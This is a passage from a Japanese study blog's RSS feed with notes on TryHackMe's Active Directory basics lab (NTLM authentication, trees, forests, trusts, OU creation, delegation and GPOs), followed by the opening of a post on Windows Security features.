<div class="swell-block-balloon"><div class="c-balloon -bln-right" data-col="yellow"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/server.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/server.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Server</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>ありがとうございます。このChallengeとResponseをドメインコントローラー（DC）に確認してもらいますね。</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-left" data-col="red"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/DC.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/DC.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">DC</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>なるほど…。<br>こちらでも保存しているNTLMハッシュを使って同じチャレンジを暗号化してみましょう。</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-left" data-col="red"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/DC.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/DC.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">DC</span></div><div class="c-balloon__body -thinking -border-none"><div class="c-balloon__text">
<p>NTLM Hash + Challenge → 自分でResponseを作って&#8230;</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-left" data-col="red"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/DC.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/DC.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">DC</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>お、クライアントのResponseと一致！これは本人ですね。</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>

<div class="swell-block-balloon"><div class="c-balloon -bln-right" data-col="yellow"><div class="c-balloon__icon -square"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="https://cybermemo.blog/wp-content/uploads/2025/10/server.png" alt="" class="lazyload c-balloon__iconImg" width="80px" height="80px"><noscript><img decoding="async" src="https://cybermemo.blog/wp-content/uploads/2025/10/server.png" alt="" class="c-balloon__iconImg" width="80px" height="80px"></noscript><span class="c-balloon__iconName">Server</span></div><div class="c-balloon__body -speaking -border-none"><div class="c-balloon__text">
<p>DCが認証OKだそうです！<br>クライアントさん、ログインを許可します。ようこそ！</p>
<span class="c-balloon__shapes"><span class="c-balloon__before"></span><span class="c-balloon__after"></span></span></div></div></div></div>


<h3 class="wp-block-heading">Active Directoryの拡張構造</h3>



<p>Active Directory（以下AD）では単一のドメインで始まった環境をツリーやフォレストとして拡張することで、大規模組織にも対応できる。</p>



<h4 class="wp-block-heading">ドメインとは</h4>



<p>ドメインはADの管理単位。<br>ユーザー、コンピュータ、サーバーなどのオブジェクトをまとめて管理できる。</p>



<h4 class="wp-block-heading">ツリー（Tree）とは</h4>



<p>例えば、企業が海外展開して「UK支社」「US支社」ができた場合、それぞれのITチームが独自に管理したい。<br>このとき、以下のようなサブドメイン構成にすることで管理を分けられる：<br><br>thm.local（ルートドメイン）<br>├─ uk.thm.local（UK支社）<br>└─ us.thm.local（US支社）<br><br>これを「ツリー構造（Domain Tree）」と呼ぶ。<br>同じ名前空間（thm.local）を共有しており、各サブドメインが独立して管理可能。</p>



<p class="is-style-big_icon_point">各ドメインには Domain Admins（ドメイン管理者）が存在<br>全体を統括できるのがEnterprise Admins（エンタープライズ管理者）<br><br>つまり：<br>UK支社の管理者 → UK内のDCを管理<br>Enterprise Admin → 全支社を統括できる</p>



<h4 class="wp-block-heading">フォレスト（Forest）とは</h4>



<p>フォレストは、異なるドメインツリーをまとめた最上位の構造。<br>例えば、会社「THM Inc.」が「MHT Inc.」を買収した場合：<br><br>🟩 <strong>フォレスト（Forest）</strong><br>　┣ 🌳 <strong>ツリー1：THM.local</strong><br>　┃　┣ 🍃 uk.thm.local<br>　┃　┗ 🍃 us.thm.local<br>　┗ 🌳 <strong>ツリー2：MHT.local</strong><br>　　　┣ 🍃 asia.mht.local<br>　　　┗ 🍃 eu.mht.local</p>



<p>この2つを同じネットワーク内で統合したものが「フォレスト（Forest）」。<br>フォレスト内では、複数のツリーが異なる名前空間でも共存できる。</p>



<h4 class="wp-block-heading">トラスト関係（Trust Relationship）とは</h4>



<p>フォレストやツリーを構成すると別ドメイン間でリソース共有が必要になる。<br>このときに必要なのが トラスト（信頼）関係 。</p>



<p><strong>一方向トラスト（One-way Trust）</strong><br>片方のドメインがもう片方のドメインを「信頼する」関係。<br>例えば：<br>THM.local → MHT.local を信頼<br><br><strong>双方向トラスト（Two-way Trust）</strong><br>お互いに信頼する関係です。<br>例えば：<br>THM.local → MHT.local を信頼<br>THM.local ← MHT.local を信頼<br><br>これにより両方のドメインのユーザーが互いのリソースにアクセス可能となる。<br>（フォレストやツリーを構築するとデフォルトで双方向トラストが形成される。）</p>



<p class="is-style-big_icon_point">トラスト関係＝自動アクセスではない。<br>トラスト関係を結んだからといって自動的に全リソースにアクセスできるわけではない。<br>トラストは「認証を認める」仕組みであり、実際のアクセス権は別途設定が必要。</p>



<h3 class="wp-block-heading">実際に動かしてみる</h3>



<h4 class="wp-block-heading">Task3 実演</h4>



<p><strong>1.OU（Organizational Units）の作成</strong></p>



<p>THM OU に「Students」を作成。</p>



<p>左ペインで THM OU を探して右クリック。<br>コンテキストメニューから新規作成(New)→組織単位 (Organizational Unit) を選択。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="686" height="674" src="https://cybermemo.blog/wp-content/uploads/2025/10/OU作成.png" alt="OU作成" class="wp-image-335" style="width:452px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/OU作成.png 686w, https://cybermemo.blog/wp-content/uploads/2025/10/OU作成-300x295.png 300w" sizes="(max-width: 686px) 100vw, 686px" /></figure>



<p>名前を「Students」と入力して OK。</p>



<figure class="wp-block-image size-full"><img decoding="async" width="429" height="368" src="https://cybermemo.blog/wp-content/uploads/2025/10/Students作成.png" alt="Students作成" class="wp-image-336" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/Students作成.png 429w, https://cybermemo.blog/wp-content/uploads/2025/10/Students作成-300x257.png 300w" sizes="(max-width: 429px) 100vw, 429px" /></figure>



<h4 class="wp-block-heading">Task4 実演</h4>



<p><strong>1.不要なOUの削除</strong><br>シナリオ：ある部門が予算削減のために閉鎖された。<a href="https://tryhackme.com/room/winadbasics" data-type="link" data-id="https://tryhackme.com/room/winadbasics">ルーム</a> Task4 のチャートを確認して、不要な部門を削除する。</p>



<p>1-1.OUは誤って削除されないようにデフォルトで保護がかかっているので、まずはプロパティから保護を解除する。</p>



<p>現状では削除しようとしてもエラーになる。</p>



<figure class="wp-block-image size-full"><img decoding="async" width="395" height="152" src="https://cybermemo.blog/wp-content/uploads/2025/10/OU削除.png" alt="OU削除エラー" class="wp-image-343" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/OU削除.png 395w, https://cybermemo.blog/wp-content/uploads/2025/10/OU削除-300x115.png 300w" sizes="(max-width: 395px) 100vw, 395px" /></figure>



<p>表示(View)→Advanced Features(高度な機能)</p>



<figure class="wp-block-image size-full"><img decoding="async" width="513" height="303" src="https://cybermemo.blog/wp-content/uploads/2025/10/Advanced-Features.png" alt="Advanced Features" class="wp-image-337" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/Advanced-Features.png 513w, https://cybermemo.blog/wp-content/uploads/2025/10/Advanced-Features-300x177.png 300w" sizes="(max-width: 513px) 100vw, 513px" /></figure>



<p>プロパティ(Properties)→オブジェクト(Object)→オブジェクトを誤削除から保護する(Protect object from accidental )deletion のチェックを外す。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="492" height="730" src="https://cybermemo.blog/wp-content/uploads/2025/10/プロパティ-1.png" alt="プロパティ" class="wp-image-340" style="width:346px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/プロパティ-1.png 492w, https://cybermemo.blog/wp-content/uploads/2025/10/プロパティ-1-202x300.png 202w" sizes="(max-width: 492px) 100vw, 492px" /></figure>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="395" height="452" src="https://cybermemo.blog/wp-content/uploads/2025/10/プロテクト解除-1.png" alt="プロテクト解除" class="wp-image-341" style="width:351px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/プロテクト解除-1.png 395w, https://cybermemo.blog/wp-content/uploads/2025/10/プロテクト解除-1-262x300.png 262w" sizes="(max-width: 395px) 100vw, 395px" /></figure>



<p>1-2.保護が外れたのでOUを削除。</p>



<p>保護が外れているので削除確認画面が表示される。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="477" height="638" src="https://cybermemo.blog/wp-content/uploads/2025/10/OU削除1.png" alt="OU削除" class="wp-image-344" style="width:374px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/OU削除1.png 477w, https://cybermemo.blog/wp-content/uploads/2025/10/OU削除1-224x300.png 224w" sizes="(max-width: 477px) 100vw, 477px" /></figure>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="375" height="297" src="https://cybermemo.blog/wp-content/uploads/2025/10/OU削除2.png" alt="OU削除確認画面" class="wp-image-345" style="width:362px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/OU削除2.png 375w, https://cybermemo.blog/wp-content/uploads/2025/10/OU削除2-300x238.png 300w" sizes="(max-width: 375px) 100vw, 375px" /></figure>



<p><strong>2.委任</strong><br>シナリオ：ITサポート担当者の「Phillip」に「Sales」、「Marketing」、「Management」のパスワードリセット権限を付与する。<br>※今回は「Sales」のみ実演。</p>



<p>2-1.&nbsp;「制御の委任(Delegate Control)」から「Phillip」にパスワードリセット権限を付与する。</p>



<p>&nbsp;OUを右クリックして制御の委任(Delegate Control)。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="495" height="716" src="https://cybermemo.blog/wp-content/uploads/2025/10/委任.png" alt="制御の委任(Delegate Control)" class="wp-image-347" style="width:330px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/委任.png 495w, https://cybermemo.blog/wp-content/uploads/2025/10/委任-207x300.png 207w" sizes="(max-width: 495px) 100vw, 495px" /></figure>



<p>「Add」→「Phillip」と入力して「名前の確認(Check Names)」をクリック→OK→Next</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="491" height="381" src="https://cybermemo.blog/wp-content/uploads/2025/10/委任5-1.png" alt="ユーザー名を追加" class="wp-image-353" style="width:491px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/委任5-1.png 491w, https://cybermemo.blog/wp-content/uploads/2025/10/委任5-1-300x233.png 300w" sizes="(max-width: 491px) 100vw, 491px" /></figure>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="452" height="243" src="https://cybermemo.blog/wp-content/uploads/2025/10/委任6-1.png" alt="ユーザー名を追加、名前の確認" class="wp-image-355" style="width:495px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/委任6-1.png 452w, https://cybermemo.blog/wp-content/uploads/2025/10/委任6-1-300x161.png 300w" sizes="(max-width: 452px) 100vw, 452px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="494" height="386" src="https://cybermemo.blog/wp-content/uploads/2025/10/委任2-1.png" alt="次へ" class="wp-image-349" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/委任2-1.png 494w, https://cybermemo.blog/wp-content/uploads/2025/10/委任2-1-300x234.png 300w" sizes="(max-width: 494px) 100vw, 494px" /></figure>



<p>「ユーザーのパスワードをリセットし、次回ログオン時にパスワード変更を強制する(Reset user passwords and force password change at next logon)」にチェックを入れ、Next。</p>



<figure class="wp-block-image size-full"><img decoding="async" width="493" height="382" src="https://cybermemo.blog/wp-content/uploads/2025/10/委任7.png" alt="パスワードリセット権限付与" class="wp-image-356" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/委任7.png 493w, https://cybermemo.blog/wp-content/uploads/2025/10/委任7-300x232.png 300w" sizes="(max-width: 493px) 100vw, 493px" /></figure>



<p>2-2. 「Phillip」でログインし、Sales 部門のユーザー「Sophie」のパスワードリセットを実行する。</p>



<p>まずは、「Phillip」でログイン。</p>



<pre class="wp-block-code"><code>xfreerdp3 /v:IPアドレス /u:'THM¥ユーザー名' /p:'パスワード'</code></pre>



<p>PowerShell からパスワード変更。<br>※7文字以上、大文字・小文字・数字・記号を混ぜたパスワード推奨。簡単すぎるとエラーになる。</p>



<pre class="wp-block-code"><code>PS C:\Users\phillip&gt; Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose

New Password: **********

VERBOSE: Performing the operation "Set-ADAccountPassword" on target "CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local".</code></pre>



<p>一緒にパスワードの強制リセットも設定。次回ログイン時にパスワード変更が必須になる。</p>



<pre class="wp-block-code"><code>PS C:\Users\phillip&gt; Set-ADUser -ChangePasswordAtLogon $true -Identity sophie -Verbose

VERBOSE: Performing the operation "Set" on target "CN=Sophie,OU=Sales,OU=THM,DC=thm,DC=local".</code></pre>



<p>2-3.「Sophie」でログインし、フラグを取得。</p>



<p>まずは、「Sophie」でRDPログイン。</p>



<pre class="wp-block-code"><code>xfreerdp3 /v:IPアドレス /u:'THM¥ユーザー名' /p:'パスワード'</code></pre>



<p>パスワードの強制リセットが反映されている。任意のパスワードを設定し、ログイン。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="1019" height="782" src="https://cybermemo.blog/wp-content/uploads/2025/10/強制パスワード変更.png" alt="強制パスワード変更" class="wp-image-363" style="width:508px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/強制パスワード変更.png 1019w, https://cybermemo.blog/wp-content/uploads/2025/10/強制パスワード変更-300x230.png 300w, https://cybermemo.blog/wp-content/uploads/2025/10/強制パスワード変更-768x589.png 768w" sizes="(max-width: 1019px) 100vw, 1019px" /></figure>



<p>デスクトップにフラグを発見。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="1015" height="453" src="https://cybermemo.blog/wp-content/uploads/2025/10/フラグ.jpg" alt="Sophieのデスクトップ" class="wp-image-364" style="width:616px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/フラグ.jpg 1015w, https://cybermemo.blog/wp-content/uploads/2025/10/フラグ-300x134.jpg 300w, https://cybermemo.blog/wp-content/uploads/2025/10/フラグ-768x343.jpg 768w" sizes="(max-width: 1015px) 100vw, 1015px" /></figure>



<h4 class="wp-block-heading">Task5 実演</h4>



<p><strong>1.コンピューターの移動</strong><br>シナリオ：デフォルトでDCを除くすべてのマシンは「Computers」コンテナに配置される。最適なOUを作成し、各マシンを配置しなおす。</p>



<p>1-1.まずは「Workstations」と「Servers」OUを作成。</p>



<figure class="wp-block-image size-full"><img decoding="async" width="232" height="140" src="https://cybermemo.blog/wp-content/uploads/2025/10/OU作成-1.png" alt="OU作成" class="wp-image-368"/></figure>



<p>1-2.次に適切なOUにマシンを移動。<br></p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="791" height="485" src="https://cybermemo.blog/wp-content/uploads/2025/10/移動.png" alt="マシンの移動" class="wp-image-369" style="width:568px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/移動.png 791w, https://cybermemo.blog/wp-content/uploads/2025/10/移動-300x184.png 300w, https://cybermemo.blog/wp-content/uploads/2025/10/移動-768x471.png 768w" sizes="(max-width: 791px) 100vw, 791px" /></figure>



<h4 class="wp-block-heading">Task6 実演</h4>



<p> <strong>1.コントロールパネルへのアクセス制限</strong><br>シナリオ：コントロールパネルへのアクセスをIT部門のユーザーのみに制限したい。</p>



<p>1-1.GPO「Restrict Control Panel Access」を作成。</p>



<p>Group Policy Management → 「Group Policy Objects」を右クリック → New </p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="729" height="584" src="https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-1.png" alt="「Restrict Control Panel Access」を作成" class="wp-image-374" style="width:526px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-1.png 729w, https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-1-300x240.png 300w" sizes="(max-width: 729px) 100vw, 729px" /></figure>



<p>「Restrict Control Panel Access」→ OK</p>



<figure class="wp-block-image size-full"><img decoding="async" width="381" height="179" src="https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-2.png" alt="「Restrict Control Panel Access」を作成" class="wp-image-375" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-2.png 381w, https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-2-300x141.png 300w" sizes="(max-width: 381px) 100vw, 381px" /></figure>



<p>1-2.「Restrict Control Panel Access」ポリシーを編集。</p>



<p>「Restrict Control Panel Access」を右クリック → Edit</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="671" height="432" src="https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-3.png" alt="「Restrict Control Panel Access」ポリシーを編集" class="wp-image-376" style="width:576px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-3.png 671w, https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-3-300x193.png 300w" sizes="(max-width: 671px) 100vw, 671px" /></figure>



<p>User Configuration → Policies → Administrative Templates → Control Panel に移動。<br>「Prohibit access to Control Panel and PC settings」 を Enabled（有効） にする。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="857" height="508" src="https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-4.png" alt="「Restrict Control Panel Access」ポリシーを編集" class="wp-image-377" style="width:587px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-4.png 857w, https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-4-300x178.png 300w, https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-4-768x455.png 768w" sizes="(max-width: 857px) 100vw, 857px" /></figure>



<p>1-3.「Restrict Control Panel Access」をリンク。</p>



<p>Marketing、Management、Sales に「Restrict Control Panel Access」をドラック＆ドロップ。</p>



<figure class="wp-block-image size-full"><img decoding="async" width="251" height="297" src="https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-5-1.png" alt="「Restrict Control Panel Access」をリンク" class="wp-image-379"/></figure>



<p><strong>2.すべてのマシンに自動ロックを適用する</strong><br>シナリオ：すべてのマシンに5 分間のアイドルで自動ロックの設定をする。</p>



<p>2-1.GPO「Auto Lock Screen」を作成。</p>



<p>Group Policy Management → 「Group Policy Objects」を右クリック → New → Auto Lock Screen → OK</p>



<figure class="wp-block-image size-full"><img decoding="async" width="383" height="175" src="https://cybermemo.blog/wp-content/uploads/2025/10/自動画面ロック-1.png" alt="GPO「Auto Lock Screen」を作成" class="wp-image-383" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/自動画面ロック-1.png 383w, https://cybermemo.blog/wp-content/uploads/2025/10/自動画面ロック-1-300x137.png 300w" sizes="(max-width: 383px) 100vw, 383px" /></figure>



<p>2-2.「Auto Lock Screen」ポリシーを編集。</p>



<p>Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options → Interactive logon: Machine inactivity limit → 値を 5 分（＝300 秒） に設定し、OK。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="1011" height="607" src="https://cybermemo.blog/wp-content/uploads/2025/10/自動画面ロック-2.jpg" alt="「Auto Lock Screen」ポリシーを編集" class="wp-image-386" style="width:656px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/自動画面ロック-2.jpg 1011w, https://cybermemo.blog/wp-content/uploads/2025/10/自動画面ロック-2-300x180.jpg 300w, https://cybermemo.blog/wp-content/uploads/2025/10/自動画面ロック-2-768x461.jpg 768w" sizes="(max-width: 1011px) 100vw, 1011px" /></figure>



<p>2-3.「Auto Lock Screen」をリンク。</p>



<p>thm.local（ルートドメイン）に「Auto Lock Screen」をドラック＆ドロップ。</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="246" height="555" src="https://cybermemo.blog/wp-content/uploads/2025/10/自動画面ロック-3-1.png" alt="「Auto Lock Screen」をリンク" class="wp-image-388" style="width:197px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/自動画面ロック-3-1.png 246w, https://cybermemo.blog/wp-content/uploads/2025/10/自動画面ロック-3-1-133x300.png 133w" sizes="(max-width: 246px) 100vw, 246px" /></figure>



<p><strong>3.GPOが適用されているか確認。</strong></p>



<p>まずは、「Mark」でRDPログイン。</p>



<pre class="wp-block-code"><code>xfreerdp3 /v:IPアドレス /u:'THM¥ユーザー名' /p:'パスワード'</code></pre>



<p>gpupdate /force でポリシーを即時適用。</p>



<figure class="wp-block-image size-full"><img decoding="async" width="430" height="82" src="https://cybermemo.blog/wp-content/uploads/2025/10/ポリシー即時適用.png" alt="gpupdate /force" class="wp-image-391" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/ポリシー即時適用.png 430w, https://cybermemo.blog/wp-content/uploads/2025/10/ポリシー即時適用-300x57.png 300w" sizes="(max-width: 430px) 100vw, 430px" /></figure>



<p>コントロールパネルを開こうとするとエラーになる。</p>



<figure class="wp-block-image size-full"><img decoding="async" width="559" height="126" src="https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-確認作業2.png" alt="コントロールパネルエラー" class="wp-image-393" srcset="https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-確認作業2.png 559w, https://cybermemo.blog/wp-content/uploads/2025/10/コントロールパネルへのアクセス制限-確認作業2-300x68.png 300w" sizes="(max-width: 559px) 100vw, 559px" /></figure>



<p>後は、5分放置して画面が自動ロックになるか確認して終了。</p>



<h2 class="wp-block-heading">つまづいたこと</h2>



<h3 class="wp-block-heading">グループとOUの違い</h3>



<p>グループもOUも同じもののように見えた。<br>例えば、営業部のAさんがいたとして<br>グループ：営業<br>OU：営業<br>権限：営業<br>となると、OUとグループの役割が重複しているのでは？と思った。<br>ChatGPTに聞いてみた結果</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<ul class="wp-block-list">
<li>Aさんのアカウント → OU「営業」に所属
<ul class="wp-block-list">
<li>→ 営業部用のポリシー（例：USB禁止、壁紙設定など）が自動適用</li>
</ul>
</li>



<li>Aさんのアカウント → グループ「営業」にも所属
<ul class="wp-block-list">
<li>→ 営業フォルダのアクセス権限を持つ</li>
</ul>
</li>
</ul>



<p>👉 つまり「OUとグループは別の役割を持っていて、重複して使うものではない」んです。</p>
</blockquote>



<p>とのこと。自身で調べてみても間違ってはいなさそう。<br>ざっくり<br>OU = GPOを適用<br>グループ = フォルダアクセス権を適用　の違いがあることは覚えた。</p>




]]></content:encoded>
					
					<wfw:commentRss>https://cybermemo.blog/tryhackme-active-directory-basics/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>TryHackMe Windows Fundamentals 3 — 学習メモ</title>
		<link>https://cybermemo.blog/tryhackme-windows-fundamentals-3</link>
					<comments>https://cybermemo.blog/tryhackme-windows-fundamentals-3#respond</comments>
		
		<dc:creator><![CDATA[miyuki]]></dc:creator>
		<pubDate>Sun, 28 Sep 2025 14:43:56 +0000</pubDate>
				<category><![CDATA[TryHackMe]]></category>
		<category><![CDATA[セキュリティ]]></category>
		<category><![CDATA[Defender]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://cybermemo.blog/?p=281</guid>

					<description><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/09/TryHackMe用アイキャッチ.png" class="webfeedsFeaturedVisual" /></p>はじめに Windows Fundamentals 3 の備忘録。本記事は学習記録です。演習環境のターゲット名・IP・フラグは公開していません。 Windows Fundamentals 3 Windows Securi [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/09/TryHackMe用アイキャッチ.png" class="webfeedsFeaturedVisual" /></p>
<h2 class="wp-block-heading">はじめに</h2>



<p>Windows Fundamentals 3 の備忘録。<br>本記事は学習記録です。演習環境のターゲット名・IP・フラグは公開していません。</p>


<div class="swell-block-postLink">			<div class="p-blogCard -external" data-type="type3" data-onclick="clickLink">
				<div class="p-blogCard__inner">
					<span class="p-blogCard__caption">TryHackMe</span>
					<div class="p-blogCard__thumb c-postThumb"><figure class="c-postThumb__figure"><img decoding="async" src="https://tryhackme-images.s3.amazonaws.com/room-icons/presec-room-image16.png" alt="" class="c-postThumb__img u-obf-cover" width="320" height="180"></figure></div>					<div class="p-blogCard__body">
						<a class="p-blogCard__title" href="https://tryhackme.com/room/windowsfundamentals3xzx" target="_blank" rel="noopener noreferrer">Windows Fundamentals 3</a>
						<span class="p-blogCard__excerpt">In part 3 of the Windows Fundamentals module, learn about the built-in Microsoft tools that help keep the device secure, such as Windows Updates, Windows Securi&#8230;</span>					</div>
				</div>
			</div>
		</div>


<h2 class="wp-block-heading">Windows Fundamentals 3</h2>



<h3 class="wp-block-heading">Windows Security</h3>



<p>旧名称：Windows Defender Security Center<br>Windowsに最初から入っているセキュリティ機能を一元管理するツール。<br>ウイルス対策やファイアウォール、デバイス保護などをまとめて確認・設定できる。</p>



<h4 class="wp-block-heading"><strong>主な機能</strong></h4>



<p>Virus &amp; threat protection (ウイルスと脅威の防止 )<br>Windows Defender Antivirus（標準のウイルス対策ソフト）の状態を管理。<br>スキャン、ウイルス定義の更新、検出ログ確認など。<br><br>Firewall &amp; network protection (ファイアウォールとネットワーク保護)<br>Windows Defender Firewall の管理。<br>ネットワークごと（ドメイン/プライベート/パブリック）に制御できる。<br><br>App &amp; browser control(アプリとブラウザの制御 )<br>Microsoft Defender SmartScreen の設定。<br>危険なアプリやフィッシングサイトのブロック。<br><br>Device security (デバイスセキュリティ)<br>ハードウェアレベルの保護（TPM、セキュアブート、仮想化ベースのセキュリティなど）。</p>



<h4 class="wp-block-heading"><strong>マークの意味</strong></h4>



<p>Windowsセキュリティの各項目には、状態を示すマークが表示される。<br><br>✅ 緑色（チェックマーク）<br>→ 「問題なし」の状態。正常に動作していて、特に操作は不要。<br>例：ファイアウォールが有効、アプリ制御がオンになっている場合。<br><br>⚠️ 黄色（警告アイコン/感嘆符）<br>→ 「注意が必要」な状態。<br>設定が推奨されるが、セキュリティ上、致命的ではない場合に表示。<br>例：ウイルススキャンがしばらく実行されていない。<br><br>❌ 赤色（×マーク）<br>→ 「危険」や「対処が必要」な状態。<br>セキュリティ保護が無効になっていたり、脅威が検出された場合に表示。<br>例：ウイルス対策が無効、マルウェアが検出された。</p>



<p>Windows Security の画面<br>※Windows Server 2019エディション</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" width="788" height="623" src="https://cybermemo.blog/wp-content/uploads/2025/09/Windows-Security.png" alt="Windows Security" class="wp-image-306" style="width:517px;height:auto" srcset="https://cybermemo.blog/wp-content/uploads/2025/09/Windows-Security.png 788w, https://cybermemo.blog/wp-content/uploads/2025/09/Windows-Security-300x237.png 300w, https://cybermemo.blog/wp-content/uploads/2025/09/Windows-Security-768x607.png 768w" sizes="(max-width: 788px) 100vw, 788px" /></figure>



<h3 class="wp-block-heading">Virus &amp; threat protection（ウイルスと脅威からの保護）</h3>



<p>Windowsに標準搭載されているウイルス対策機能。<br>マルウェア（ウイルス、ワーム、トロイの木馬、ランサムウェアなど）からPCを守る。<br>定期的なスキャンやリアルタイム保護を行い、脅威が見つかると通知してくれる。<br>サードパーティ製のアンチウイルスソフト（例：Norton、McAfeeなど）を入れると、この項目がそのソフトに切り替わることもある。</p>



<h4 class="wp-block-heading"><strong>主な機能</strong></h4>



